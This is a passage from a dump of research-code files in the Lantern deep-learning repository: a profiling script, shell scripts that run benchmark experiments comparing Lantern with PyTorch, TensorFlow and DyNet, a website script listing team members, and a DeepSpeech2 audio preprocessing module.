in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['relu2_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_conv2 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['relu2_b_prof'] += val\n\n\t\t\t\t#rnn transpose\n\t\t\t\tif (module_grad not in line) and (module_rnn in line) and ('transpose' in line) and (module_rnncell not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['rnn_trans_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_rnn in line) and ('transpose' in line) and (module_rnncell not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['rnn_trans_b_prof'] += val\n\n\t\t\t\t#rnn reshape\n\t\t\t\tif (module_grad not in line) and (module_rnn in line) and ('rnn/Reshape' in line) and (module_rnncell not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['rnn_reshape_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_rnn in line) and ('rnn/Reshape' in line) and (module_rnncell not in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['rnn_reshape_b_prof'] += val\n\n\t\t\t\t#rnn reshape\n\t\t\t\tif (module_grad not in line) and (module_rnn in line) and ('ReverseSequence' in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['rnn_ReverseSequence_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_rnn in line) and ('ReverseSequence' in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['rnn_ReverseSequence_b_prof'] += val\n\n\t\t\t\t# rnn forward profiling by cell\n\t\t\t\tif (module_grad not in line) and (module_rnncell in line):\n\t\t\t\t\tprofRNNCell(line, rnncell_f_prof)\n\t\t\t\t# rnn backward profiling by cell\n\t\t\t\tif (module_grad in line) and (module_rnncell in line):\n\t\t\t\t\tprofRNNCell(line, rnncell_b_prof)\n\n\t\t\t\t# softmax\n\t\t\t\tif (module_grad not in line) and (module_softmax in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['softmax_f_prof'] += val\n\t\t\t\tif (module_grad in line) and (module_softmax in line):\n\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\tprofs['softmax_b_prof'] += val\n\n\t\t\t\t# ctc\n\t\t\t\tfor c in module_ctc:\n\t\t\t\t\tif (c in line) and (module_grad not in line):\n\t\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\t\tprofs['ctc_f_prof'] += val\n\t\t\t\t\tif (c in line) and (module_grad in line):\n\t\t\t\t\t\tval = findValWithFormat(line)\n\t\t\t\t\t\tprofs['ctc_b_prof'] +=val\n\n\nfor key, val in dict.iteritems(rnncell_f_prof):\n\toverall_cost += val\n\tprint \"(RNN forward by cell) \" + str(key) + \": \" + str(val) + \"ms\"\nfor key, val in dict.iteritems(rnncell_b_prof):\n\toverall_cost += val\n\tprint \"(RNN backward by cell) \" + str(key) + \": \" + str(val) + \"ms\"\n\n\n# Profiling result\nfor k in dict.fromkeys(profs):\n\toverall_cost += profs[k]\n\tprint k + \": \" + str(profs[k]) + \"ms\"\n\nprint \"overall: \" + str(overall_cost) + \"ms\"\n\n\nprf_file1 = open('prf1.txt', 'w')\nfor k in dict.fromkeys(profs):\n\tprf_file1.write(\"%s:%f\\n\" % (k, profs[k]))\nprf_file1.close()\n\n# write including modules\nprf_file2 = open('prf2.txt', 'w')\nfor el in lines:\n prf_file2.write(\"%s\\n\" % el)\nprf_file2.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7566547989845276, "alphanum_fraction": 0.7788723707199097, "avg_line_length": 38.766666412353516, "blob_id": "302e59691232aabefb9080e48bdf52235d42bf73", "content_id": "4d29e3eda9707c353632449819b2bdc61062e5a1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4771, "license_type": "permissive", "max_line_length": 126, "num_lines": 120, "path": "/src/out/ICFP18evaluation/run_exp.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\n\n\ncd evaluationRNN\necho \"Note: Let's run vanilla RNN experiment first\"\necho \"RUN: run Lantern\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern\n./Lantern result_Lantern.txt\necho \"RUN: run Numpy\"\npython min-char-rnn.py result_Numpy.txt\necho \"RUN: run PyTorch\"\npython min-char-rnn-pytorch.py result_PyTorch.txt\necho \"RUN: run TensorFlow\"\npython min-char-rnn-tf.py result_TensorFlow.txt\necho \"RUN: plotting\"\n../plot.py vanilla_RNN result_Lantern.txt result_Numpy.txt result_PyTorch.txt result_TensorFlow.txt\necho \"RESULT: vanilla RNN experiment successful\"\ncd ..\n\n\ncd evaluationLSTM\necho \"Note: Let's run LSTM experiment now\"\necho \"RUN: run Lantern\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern\n./Lantern result_Lantern.txt\necho \"RUN: run PyTorch\"\npython min-char-lstm-pytorch.py result_PyTorch.txt\necho \"RUN: run TensorFlow\"\npython min-char-lstm-tf.py result_TensorFlow.txt\necho \"RUN: plotting\"\n../plot.py LSTM result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\necho \"RESULT: LSTM experiment successful\"\ncd ..\n\n\ncd evaluationTreeLSTM\necho \"Note: Let's run TreeLSTM experiment now\"\ncd PyTorch\necho \"RUN: run PyTorch, which will make sure that we have necessary data for Lantern and TensorFold as well\"\necho \"Note: adapted from https://github.com/ttpro1995/TreeLSTMSentiment\"\necho \"Note: we assume the requirements as indicated in the website are already met (tqdm, etc). Check the website if not sure\"\nif [ ! -d \"data\" ]; then\n echo \"Note: we need to run ./fetch_and_preprcess.sh first, which downloads data and library of size about 2GB\"\n ./fetch_and_preprocess.sh\n python sentiment.py # this extra run is simply to pre-process data\nfi\npython sentiment.py\necho \"Result: run sentiment in PyTorch is successful\"\ncd ..\ncd TensorFold\necho \"RUN: run TensorFold\"\npython preprocess_data.py\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\necho \"Note: if not, you can install it by uncomment the commands below, but you need root access\"\n#sudo apt install python-pip python-dev python-virtualenv\necho \"Note: we assume the system has ./virEnv setup with tensorflow1.0.0 and fold\"\necho \"Note: if not, uncomment the commands below to set it up\"\n#virtualenv -p python3 virEnv\nsource ./virEnv/bin/activate\n#pip3 install tensorflow==1.0.0\n#pip install https://storage.googleapis.com/tensorflow_fold/tensorflow_fold-0.0.1-py3-none-linux_x86_64.whl\npython TreeLSTMTensorFlow.py result_TensorFold20.txt\npython TreeLSTMTensorFlow.py result_TensorFold1.txt 1\ndeactivate\necho \"Result: run sentiment in TensorFold is successful\"\ncd ..\ncd Lantern\necho \"RUN: run Lantern\"\npython preprocess_data.py\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern\n./Lantern result_Lantern.txt\necho \"Result: run sentiment in Lantern is successful\"\ncd ..\necho \"RUN: copy the result files and do plotting\"\ncp Lantern/result_Lantern.txt result_Lantern.txt\ncp PyTorch/result_PyTorch.txt result_PyTorch.txt\ncp TensorFold/result_TensorFold20.txt result_TensorFold20.txt\ncp TensorFold/result_TensorFold1.txt result_TensorFold1.txt\n../plot.py TreeLSTM result_Lantern.txt result_PyTorch.txt result_TensorFold20.txt result_TensorFold1.txt\necho \"RESULT: run TreeLSTM experiment successful\"\ncd ..\n\n\ncd evaluationCNN\ncd PyTorch\necho \"Note: Let's run CNN in PyTorch first, which also helps downloading the training data\"\necho \"Download data and also extract data for Lantern to use\"\npython download_data.py\npython extract_data.py\necho \"RUN: PyTorch CNN with batch size 100 and learning rate 0.05\"\npython PyTorch.py\necho \"RUN: PyTorch CNN with batch size 1 and learning rate 0.0005\"\npython PyTorch.py --batch-size 1 --lr 0.0005\necho \"Result: PyTorch CNN run successfully\"\ncd ..\ncd TensorFlow\necho \"Note: now Let's run TensorFlow CNN\"\necho \"RUN: TensorFlow CNN with batch size 100 and learning rate 0.05\"\npython TensorFlow.py\necho \"RUN: TensorFlow CNN with batch size 1 and learning rate 0.0005\"\npython TensorFlow.py --batch-size 1 --lr 0.0005\necho \"Result: TensorFlow CNN run successfully\"\ncd ..\ncd Lantern\necho \"Note: Let's run Lantern now\"\ng++ -std=c++11 -O3 -Wno-pointer-arith Lantern.cpp -o Lantern\necho \"RUN: Lantern CNN\"\n./Lantern result_Lantern.txt\necho \"Result: Lantern CNN successful\"\ncd ..\necho \"RUN: copy the result files and do plotting\"\ncp Lantern/result_Lantern.txt result_Lantern.txt\ncp PyTorch/result_PyTorch100.txt result_PyTorch100.txt\ncp PyTorch/result_PyTorch1.txt result_PyTorch1.txt\ncp TensorFlow/result_TensorFlow100.txt result_TF100.txt\ncp TensorFlow/result_TensorFlow1.txt result_TF1.txt\n../plot.py CNN result_Lantern.txt result_PyTorch100.txt result_PyTorch1.txt result_TF100.txt result_TF1.txt\necho \"RESULT: run CNN experiment successful\"\ncd .." }, { "alpha_fraction": 0.7652512788772583, "alphanum_fraction": 0.7830520868301392, "avg_line_length": 45.094017028808594, "blob_id": "e3db7e4de118c1529ead600f512558eae81e1617", "content_id": "417d897b24e9d13e46ac15f530452db155ddb903", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5393, "license_type": "permissive", "max_line_length": 147, "num_lines": 117, "path": "/src/out/PLDI19evaluation/run_exp.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\necho \"Note: the script must be run in PLDIevaluation directory\"\necho \"Note: the evaluation is done with a single GPU\"\necho \"Note: we assume that a proper python virtual environment has be installed\"\nexport CUDA_VISIBLE_DEVICES=3\n\necho \"Note: we are using the newest tensorflow pytorch installation in /scratch-ml00/wang603/\"\necho \"Note: Maybe source the conda environment? Not sure\"\nsource /scratch-ml00/wang603/conda3/bin/activate\n\necho \"Note: Maybe downloading cifar10_data\"\npython3 generate_cifar10_data.py --data-dir cifar10_data\n\n\necho \"Exp: run squeezenet models first\"\ncd squeezenet\ncd pytorch\necho \"Note: if you haven't generate onnx model from the PyTorch implementation, do it now by uncommenting the command below.\"\necho \"Note: without the onnx model, you cannot generate Lantern code. You need to generate Lantern code too.\"\n# python3 train.py --generate_onnx ../squeezenetCifar10.onnx\necho \"Exp: run PyTorch training with GPU\"\npython3 train.py --use_gpu=True\necho \"Exp: run PyTorch inference with GPU\"\npython3 train.py --use_gpu=True --inference=True --write_to=result_PyTorch_inference_GPU\n# echo \"Exp: run PyTorch interence with CPU\"\n# python3 train.py --inference=True --write_to=result_PyTorch_inference_CPU\ncd ../lantern\necho \"Exp: run Lantern training with GPU\"\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ LanternOnnxTraining.cu -o LanternOnnxTrainingCu -lcublas -lcudnn\n./LanternOnnxTrainingCu\tresult_Lantern\ncd ../tensorflow\necho \"Exp: run TensorFlow training with GPU\"\npython3 train.py\necho \"Plot: plot squeezenet result\"\ncd ..\ncp pytorch/result_PyTorch result_PyTorch.txt\ncp lantern/result_Lantern result_Lantern.txt\ncp tensorflow/result_TensorFlow result_TensorFlow.txt\npython3 ../plot.py SqueezeNet result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\n\n\necho \"Exp: run ResNet50 models\"\ncd ../resnet50\ncd pytorch\necho \"Note: if you haven't generate onnx model from the PyTorch implementation, do it now by uncommenting the command below.\"\necho \"Note: without the onnx model, you cannot generate Lantern code. You need to generate Lantern code too.\"\n# python3 train.py --generate_onnx ../resnet50.onnx\necho \"Exp: run PyTorch training with GPU\"\npython3 train.py --use_gpu=True\necho \"Exp: run PyTorch inference with GPU\"\npython3 train.py --use_gpu=True --inference=True --write_to=result_PyTorch_inference_GPU\n# echo \"Exp: run PyTorch interence with CPU\"\n# python3 train.py --inference=True --write_to=result_PyTorch_inference_CPU\ncd ../lantern\necho \"Exp: run Lantern training with GPU\"\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ LanternOnnxTraining.cu -o LanternOnnxTrainingCu -lcublas -lcudnn\n./LanternOnnxTrainingCu\tresult_Lantern\ncd ../tensorflow\necho \"Exp: run TensorFlow training with GPU\"\npython3 train.py\necho \"Plot: plot squeezenet result\"\ncd ..\ncp pytorch/result_PyTorch result_PyTorch.txt\ncp lantern/result_Lantern result_Lantern.txt\ncp tensorflow/result_TensorFlow result_TensorFlow.txt\npython3 ../plot.py ResNet50 result_Lantern.txt result_PyTorch.txt result_TensorFlow.txt\n\n\necho \"Exp: run TreeLSTM models\"\ncd ../treelstm\necho \"Exp: run Lantern training with GPU\"\ncd lantern\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ LanternTraining.cu -o LanternTrainingCu -lcublas -lcudnn\n./LanternTrainingCu result_Lantern\necho \"Exp: run PyTorch training with GPU\"\ncd ../pytorch\npython3 treeLSTM.py --use_gpu=True\necho \"Exp: run TensorFold training with GPU\"\ncd ../tensorflow\necho \"Note: tensorFold only works with tensorflow 1.0. We need to set up python virtual env for it\"\necho \"Note: if you have not set up the virtual env for tensorfold, uncomment the following lines to set up venv\"\n# python3 -m venv fold-env\nsource fold-env/bin/activate\n# pip3 install --upgrade pip wheel\n# pip3 install --upgrade tensorflow-gpu==1.0.0 # this version of tensorflow works with cuda 8.\n# pip install https://storage.googleapis.com/tensorflow_fold/tensorflow_fold-0.0.1-py3-none-linux_x86_64.whl\npython3 TreeLSTMTensorFlow.py result_TensorFold20\ndeactivate\ncd ../dynet\necho \"Exp: run Dynet training (without autobatching) with GPU\"\npython3 treelstmDynet.py result_DyNetNB --dynet-gpus 1\necho \"Exp: run Dynet training (with autobatching) with GPU\"\npython3 treelstmDynet.py result_DyNetB --dynet-gpus 1 --dynet-autobatch 1\ncd ../\ncp lantern/result_Lantern result_Lantern.txt\ncp pytorch/result_PyTorch result_PyTorch.txt\ncp tensorflow/result_TensorFold20 result_TF20.txt\ncp dynet/result_DyNetNB result_DyNetNB.txt\ncp dynet/result_DyNetB result_DyNetB.txt\npython3 ../plot.py TreeLSTM result_Lantern.txt result_PyTorch.txt result_TF20.txt result_DyNetNB.txt result_DyNetB.txt\n\n\necho \"Exp: run DeepSpeech2 here\"\necho \"Exp: run pytorch deepspeech2\"\ncd ../deepspeech2\ncd ds2-pytorch/pytorch\npython3 train.py\ncd ../../lantern\necho \"Exp: run lantern deepspeech2\"\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ Lantern.cu -o Lantern -lcublas -lcudnn\nCUDA_VISIBLE_DEVICES=3 ./Lantern result_Lantern\ncd ../\ncp ds2-pytorch/pytorch/result_PyTorch result_PyTorch.txt\ncp lantern/result_Lantern result_Lantern.txt\npython3 ../plot.py DeepSpeech2 result_Lantern.txt result_PyTorch.txt\n" }, { "alpha_fraction": 0.5140017867088318, "alphanum_fraction": 0.5140017867088318, "avg_line_length": 21.59183692932129, "blob_id": "64c52a2c64eda81ddb9253a2caa2d98e69715b9d", "content_id": "b72b95cd86d796a9f02d6d72be05ea773c485449", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1107, "license_type": "permissive", "max_line_length": 102, "num_lines": 49, "path": "/website/script.js", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "//fill in people's details here\nconst people = [\n {\n name:\"Tiark Rompf\",\n image:\"person.jpg\"\n },\n {\n name:\"Fei Wang\",\n image: \"person.jpg\" //images will need to be in website/images/people\n },\n {\n name: \"Xilun Wu\",\n image: \"person.jpg\"\n },\n {\n name: \"Gregory Essertel\",\n image: \"gregoryessertel.jpg\"\n },\n {\n name: \"James Decker\",\n image: \"jamesdecker.jpg\"\n },\n {\n name: \"Guannan Wei\",\n image: \"person.jpg\"\n },\n {\n name: \"Vritant Bhardwaj\",\n image: \"vritantbhardwaj.jpg\"\n }\n //...\n];\n\nfunction populate() {\n const peopleDiv = document.getElementById(\"people\");\n const peopleHTMLString = people.reduce((acc, obj) => acc + getPersonDiv(obj.name, obj.image), \"\");\n peopleDiv.innerHTML = peopleHTMLString;\n}\n\nfunction getPersonDiv(name, img) {\n return `<div class=\"person flex-center flex-column\">\n <img class=\"person-img\" src=\"./website/images/people/${img}\">\n <div class=\"person-name\">${name}</div>\n </div>`\n}\n\nwindow.onload = () => {\n populate();\n}\n" }, { "alpha_fraction": 0.5914039611816406, "alphanum_fraction": 0.598077118396759, "avg_line_length": 38.81993103027344, "blob_id": "1c4f995cb634c34d37a9d69a6657cc946846ac69", "content_id": "62fd8299d4100292d5eda7a440397b0098c40be1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22778, "license_type": "permissive", "max_line_length": 122, "num_lines": 572, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-pytorch/data/data_preprocess.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "## Xilun: Need modify this file\n## copied from data_loader.py\n\nimport os\nfrom tempfile import NamedTemporaryFile\n\nimport librosa\nimport numpy as np\nimport scipy.signal\nimport torch\nimport torchaudio\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\n\nimport time\nimport json\nimport argparse\nimport sys\nsys.path.append('../')\nimport pytorch.params as params\nimport struct\nimport pickle\n\nwindows = {'hamming': scipy.signal.hamming, 'hann': scipy.signal.hann, 'blackman': scipy.signal.blackman,\n 'bartlett': scipy.signal.bartlett}\n\ndef load_audio(path):\n sound, _ = torchaudio.load(path)\n sound = sound.numpy()\n if len(sound.shape) > 1:\n if sound.shape[1] == 1:\n sound = sound.squeeze()\n else:\n sound = sound.mean(axis=1) # multiple channels, average\n return sound\n\n\nclass AudioParser(object):\n def parse_transcript(self, transcript_path):\n \"\"\"\n :param transcript_path: Path where transcript is stored from the manifest file\n :return: Transcript in training/testing format\n \"\"\"\n raise NotImplementedError\n\n def parse_audio(self, audio_path):\n \"\"\"\n :param audio_path: Path where audio is stored from the manifest file\n :return: Audio in training/testing format\n \"\"\"\n raise NotImplementedError\n\n\nclass NoiseInjection(object):\n def __init__(self,\n path=None,\n noise_levels=(0, 0.5)):\n \"\"\"\n Adds noise to an input signal with specific SNR. Higher the noise level, the more noise added.\n Modified code from https://github.com/willfrey/audio/blob/master/torchaudio/transforms.py\n \"\"\"\n self.paths = path is not None and librosa.util.find_files(path)\n self.noise_levels = noise_levels\n\n def inject_noise(self, data):\n noise_path = np.random.choice(self.paths)\n noise_level = np.random.uniform(*self.noise_levels)\n return self.inject_noise_sample(data, noise_path, noise_level)\n\n def inject_noise_sample(self, data, noise_path, noise_level):\n noise_src = load_audio(noise_path)\n noise_offset_fraction = np.random.rand()\n noise_dst = np.zeros_like(data)\n src_offset = int(len(noise_src) * noise_offset_fraction)\n src_left = len(noise_src) - src_offset\n dst_offset = 0\n dst_left = len(data)\n while dst_left > 0:\n copy_size = min(dst_left, src_left)\n np.copyto(noise_dst[dst_offset:dst_offset + copy_size],\n noise_src[src_offset:src_offset + copy_size])\n if src_left > dst_left:\n dst_left = 0\n else:\n dst_left -= copy_size\n dst_offset += copy_size\n src_left = len(noise_src)\n src_offset = 0\n data += noise_level * noise_dst\n return data\n\n\nclass SpectrogramParser(AudioParser):\n def __init__(self, audio_conf, normalize=False, augment=False):\n \"\"\"\n Parses audio file into spectrogram with optional normalization and various augmentations\n :param audio_conf: Dictionary containing the sample rate, window and the window length/stride in seconds\n :param normalize(default False): Apply standard mean and deviation normalization to audio tensor\n :param augment(default False): Apply random tempo and gain perturbations\n \"\"\"\n super(SpectrogramParser, self).__init__()\n self.window_stride = audio_conf['window_stride']\n self.window_size = audio_conf['window_size']\n self.sample_rate = audio_conf['sample_rate']\n self.window = windows.get(audio_conf['window'], windows['hamming'])\n self.normalize = normalize\n self.augment = augment\n self.noiseInjector = NoiseInjection(audio_conf['noise_dir'], self.sample_rate,\n audio_conf['noise_levels']) if audio_conf.get(\n 'noise_dir') is not None else None\n self.noise_prob = audio_conf.get('noise_prob')\n\n def parse_audio(self, audio_path):\n if self.augment:\n y = load_randomly_augmented_audio(audio_path, self.sample_rate)\n else:\n y = load_audio(audio_path)\n if self.noiseInjector:\n add_noise = np.random.binomial(1, self.noise_prob)\n if add_noise:\n y = self.noiseInjector.inject_noise(y)\n n_fft = int(self.sample_rate * self.window_size)\n win_length = n_fft\n hop_length = int(self.sample_rate * self.window_stride)\n # STFT\n D = librosa.stft(y, n_fft=n_fft, hop_length=hop_length,\n win_length=win_length, window=self.window)\n spect, phase = librosa.magphase(D)\n # S = log(S+1)\n spect = np.log1p(spect)\n spect = torch.FloatTensor(spect)\n if self.normalize:\n mean = spect.mean()\n std = spect.std()\n spect.add_(-mean)\n spect.div_(std)\n\n return spect\n\n def parse_transcript(self, transcript_path):\n raise NotImplementedError\n\n\nclass SpectrogramDataset(Dataset, SpectrogramParser):\n def __init__(self, audio_conf, manifest_filepath, labels, normalize=False, augment=False):\n \"\"\"\n Dataset that loads tensors via a csv containing file paths to audio files and transcripts separated by\n a comma. Each new line is a different sample. Example below:\n\n /path/to/audio.wav,/path/to/audio.txt\n ...\n\n :param audio_conf: Dictionary containing the sample rate, window and the window length/stride in seconds\n :param manifest_filepath: Path to manifest csv as describe above\n :param labels: String containing all the possible characters to map to\n :param normalize: Apply standard mean and deviation normalization to audio tensor\n :param augment(default False): Apply random tempo and gain perturbations\n \"\"\"\n with open(manifest_filepath) as f:\n ids = f.readlines()\n ids = [x.strip().split(',') for x in ids]\n self.ids = ids\n self.size = len(ids)\n self.labels_map = dict([(labels[i], i) for i in range(len(labels))])\n super(SpectrogramDataset, self).__init__(audio_conf, normalize, augment)\n\n def __getitem__(self, index):\n sample = self.ids[index]\n audio_path, transcript_path = sample[0], sample[1]\n spect = self.parse_audio(audio_path)\n transcript = self.parse_transcript(transcript_path)\n return spect, transcript\n\n def parse_transcript(self, transcript_path):\n with open(transcript_path, 'r') as transcript_file:\n transcript = transcript_file.read().replace('\\n', '')\n transcript = list(filter(None, [self.labels_map.get(x) for x in list(transcript)]))\n return transcript\n\n def __len__(self):\n return self.size\n\nclass SpectrogramAndPathDataset(SpectrogramDataset):\n def __getitem__(self, index):\n sample = self.ids[index]\n audio_path, transcript_path = sample[0], sample[1]\n spect = self.parse_audio(audio_path)\n transcript = self.parse_transcript(transcript_path)\n return spect, transcript, audio_path\n\nclass SpectrogramAndLogitsDataset(SpectrogramDataset):\n def __getitem__(self, index):\n sample = self.ids[index]\n audio_path, transcript_path = sample[0], sample[1]\n logit_path = os.path.join(\n os.path.split(os.path.split(audio_path)[0])[0],\n \"logits\",\n os.path.splitext(os.path.split(audio_path)[1])[0] + \".pth\"\n )\n spect = self.parse_audio(audio_path)\n transcript = self.parse_transcript(transcript_path)\n logits = torch.load(logit_path)\n return spect, transcript, audio_path, logits\n\ndef _collate_fn_logits(batch):\n def func(p):\n return p[0].size(1)\n\n longest_sample = max(batch, key=func)[0]\n freq_size = longest_sample.size(0)\n minibatch_size = len(batch)\n max_seqlength = longest_sample.size(1)\n\n inputs = torch.zeros(minibatch_size, 1, freq_size, max_seqlength)\n input_percentages = torch.FloatTensor(minibatch_size)\n target_sizes = torch.IntTensor(minibatch_size)\n targets = []\n\n paths = []\n\n longest_logit = max(batch, key=lambda p: p[3].size(0))[3]\n logit_len = longest_logit.size(0)\n nclasses = batch[0][3].size(-1)\n logits = torch.FloatTensor(minibatch_size, logit_len, nclasses)\n logits.fill_(float('-inf'))\n\n for x in range(minibatch_size):\n sample = batch[x]\n tensor = sample[0]\n target = sample[1]\n paths.append(sample[2])\n logit = sample[3]\n seq_length = tensor.size(1)\n inputs[x][0].narrow(1, 0, seq_length).copy_(tensor)\n input_percentages[x] = seq_length / float(max_seqlength)\n target_sizes[x] = len(target)\n targets.extend(target)\n logits[x,:logit.size(0)].copy_(logit)\n\n targets = torch.IntTensor(targets)\n return inputs, targets, input_percentages, target_sizes, paths, logits\n\ndef _collate_fn_paths(batch):\n def func(p):\n return p[0].size(1)\n\n longest_sample = max(batch, key=func)[0]\n freq_size = longest_sample.size(0)\n minibatch_size = len(batch)\n max_seqlength = longest_sample.size(1)\n inputs = torch.zeros(minibatch_size, 1, freq_size, max_seqlength)\n input_percentages = torch.FloatTensor(minibatch_size)\n target_sizes = torch.IntTensor(minibatch_size)\n targets = []\n paths = []\n for x in range(minibatch_size):\n sample = batch[x]\n tensor = sample[0]\n target = sample[1]\n paths.append(sample[2])\n seq_length = tensor.size(1)\n inputs[x][0].narrow(1, 0, seq_length).copy_(tensor)\n input_percentages[x] = seq_length / float(max_seqlength)\n target_sizes[x] = len(target)\n targets.extend(target)\n targets = torch.IntTensor(targets)\n return inputs, targets, input_percentages, target_sizes, paths, None\n\ndef _collate_fn(batch):\n def func(p):\n return p[0].size(1)\n\n longest_sample = max(batch, key=func)[0]\n freq_size = longest_sample.size(0)\n minibatch_size = len(batch)\n max_seqlength = longest_sample.size(1)\n inputs = torch.zeros(minibatch_size, 1, freq_size, max_seqlength)\n input_percentages = torch.FloatTensor(minibatch_size)\n target_sizes = torch.IntTensor(minibatch_size)\n targets = []\n for x in range(minibatch_size):\n sample = batch[x]\n tensor = sample[0]\n target = sample[1]\n seq_length = tensor.size(1)\n inputs[x][0].narrow(1, 0, seq_length).copy_(tensor)\n input_percentages[x] = seq_length / float(max_seqlength)\n target_sizes[x] = len(target)\n targets.extend(target)\n targets = torch.IntTensor(targets)\n return inputs, targets, input_percentages, target_sizes\n\n\nclass AudioDataLoader(DataLoader):\n def __init__(self, *args, **kwargs):\n \"\"\"\n Creates a data loader for AudioDatasets.\n \"\"\"\n super(AudioDataLoader, self).__init__(*args, **kwargs)\n self.collate_fn = _collate_fn\n\nclass AudioDataAndLogitsLoader(DataLoader):\n def __init__(self, *args, **kwargs):\n \"\"\"\n Creates a data loader for AudioDatasets.\n \"\"\"\n super(AudioDataAndLogitsLoader, self).__init__(*args, **kwargs)\n self.collate_fn = _collate_fn_logits\n\nclass AudioDataAndPathsLoader(DataLoader):\n def __init__(self, *args, **kwargs):\n \"\"\"\n Creates a data loader for AudioDatasets.\n \"\"\"\n super(AudioDataAndPathsLoader, self).__init__(*args, **kwargs)\n self.collate_fn = _collate_fn_paths\n\ndef augment_audio_with_sox(path, sample_rate, tempo, gain):\n \"\"\"\n Changes tempo and gain of the recording with sox and loads it.\n \"\"\"\n with NamedTemporaryFile(suffix=\".wav\") as augmented_file:\n augmented_filename = augmented_file.name\n sox_augment_params = [\"tempo\", \"{:.3f}\".format(tempo), \"gain\", \"{:.3f}\".format(gain)]\n sox_params = \"sox \\\"{}\\\" -r {} -c 1 -b 16 {} {} >/dev/null 2>&1\".format(path, sample_rate,\n augmented_filename,\n \" \".join(sox_augment_params))\n os.system(sox_params)\n y = load_audio(augmented_filename)\n return y\n\n\ndef load_randomly_augmented_audio(path, sample_rate=16000, tempo_range=(0.85, 1.15),\n gain_range=(-6, 8)):\n \"\"\"\n Picks tempo and gain uniformly, applies it to the utterance by using sox utility.\n Returns the augmented utterance.\n \"\"\"\n low_tempo, high_tempo = tempo_range\n tempo_value = np.random.uniform(low=low_tempo, high=high_tempo)\n low_gain, high_gain = gain_range\n gain_value = np.random.uniform(low=low_gain, high=high_gain)\n audio = augment_audio_with_sox(path=path, sample_rate=sample_rate,\n tempo=tempo_value, gain=gain_value)\n return audio\n\n## begin of data processor\ndef to_np(x):\n return x.data.cpu().numpy()\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef write_dataset_to_binary_file(filename, data_loader):\n data_loader_length = min(len(data_loader), 200)\n start_iter = 0 \n for i, (data) in enumerate(data_loader, start=start_iter):\n if i == data_loader_length:\n break\n inputs, targets, input_percentages, target_sizes = data\n if i == start_iter:\n with open(filename, 'wb') as f:\n f.write(struct.pack(\"@i\", params.batch_size))\n f.write(struct.pack(\"@i\", data_loader_length-start_iter))\n # bin format for Lantern:\n # Int: batch_size, num_batches\n # Int: freq_size, max_length\n # Tensor: inputs(FloatTensor[batch_size, 1, freq_size, max_length])\n # Tensor: input_percentages(FloatTensor[batch_size])\n # Tensor: target_sizes(IntTensor[batch_size])\n # Tensor: targets(IntTensor[sum(target_sizes)]) -- each target is a character label\n with open(filename, 'ab') as f:\n f.write(struct.pack(\"@i\", inputs[0][0].size(0)))\n f.write(struct.pack(\"@i\", inputs[0][0].size(1)))\n # writing inputs\n for by in inputs.storage().tolist():\n f.write(struct.pack(\"@f\", by))\n # writing input_percentages\n for by in input_percentages.storage().tolist():\n f.write(struct.pack(\"@f\", by))\n # writing target_sizes\n for by in target_sizes.storage().tolist():\n f.write(struct.pack(\"@i\", by))\n # writing targets\n for by in targets.storage().tolist():\n f.write(struct.pack(\"@i\", by))\n \ndef verify_binary_file(filename, data_loader): \n # Verify: read the content out of the bin file and compare with original tensor\n struct_head_fmt = '@ii'\n struct_head_len = struct.calcsize(struct_head_fmt)\n struct_head_unpack = 